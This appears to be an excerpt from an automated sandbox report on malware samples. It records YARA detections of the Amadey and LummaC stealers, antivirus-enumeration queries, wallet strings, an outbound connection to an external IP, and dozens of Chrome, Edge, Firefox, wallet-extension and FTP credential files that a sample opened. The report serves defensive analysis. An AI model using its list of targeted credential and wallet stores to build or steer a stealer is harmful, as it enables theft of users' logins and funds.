Source: 9c795b1b74.exe, 0000000F.00000003.2721196799.0000000006F4F000.00000004.00001000.00020000.00000000.sdmp, a219613819.exe, 00000010.00000003.2840711259.00000000079A6000.00000004.00001000.00020000.00000000.sdmp, a219613819.exe, 00000010.00000002.2881489328.0000000000EBD000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: wireshark.exe
Source: 623cea31e9.exe, 00000009.00000003.2669375592.0000000003396000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2691111574.0000000003396000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000002.2694630551.0000000003397000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2668557864.0000000003395000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2712495493.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2693183826.00000000008F1000.00000004.00000020.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2693649447.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2712495493.00000000008DD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 0.2.file.exe.1000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.skotes.exe.eb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.eb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.eb0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1759042521.0000000001001000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2313954308.0000000004920000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1746560689.0000000004920000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1718412453.0000000004FD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1784872466.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1744152800.0000000005500000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1787101681.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 623cea31e9.exe PID: 1028, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0a60e3a257.exe PID: 6856, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 623cea31e9.exe, 00000009.00000003.2614165963.0000000000D17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: rum\\wallets","m":["*"],"z":"Wallets/Electrum","d":0,"fs":20971520},{"t":0,"
Source: 623cea31e9.exe, 00000009.00000003.2614165963.0000000000D17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 20},{"t":0,"p":"%appdata%\\ElectronCash\\wallets","m":["*"],"z":"Wallets/Ele@S
Source: 623cea31e9.exe, 00000009.00000003.2592210223.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: 623cea31e9.exe, 00000009.00000003.2614165963.0000000000D17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: son",".finger-print.fp","simple-storage.json","window-state.json"],"z":"Wall
Source: 0a60e3a257.exe, 0000000B.00000003.2671116771.00000000008F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 623cea31e9.exe, 00000009.00000003.2592210223.0000000000D17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: 623cea31e9.exe, 00000009.00000003.2614357368.0000000000D20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: 623cea31e9.exe, 00000009.00000003.2592210223.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 623cea31e9.exe, 00000009.00000003.2591861474.0000000000CDB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Leaks process information

Source: global traffic

TCP traffic: 192.168.2.4:49887 -> 147.45.113.159:80

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
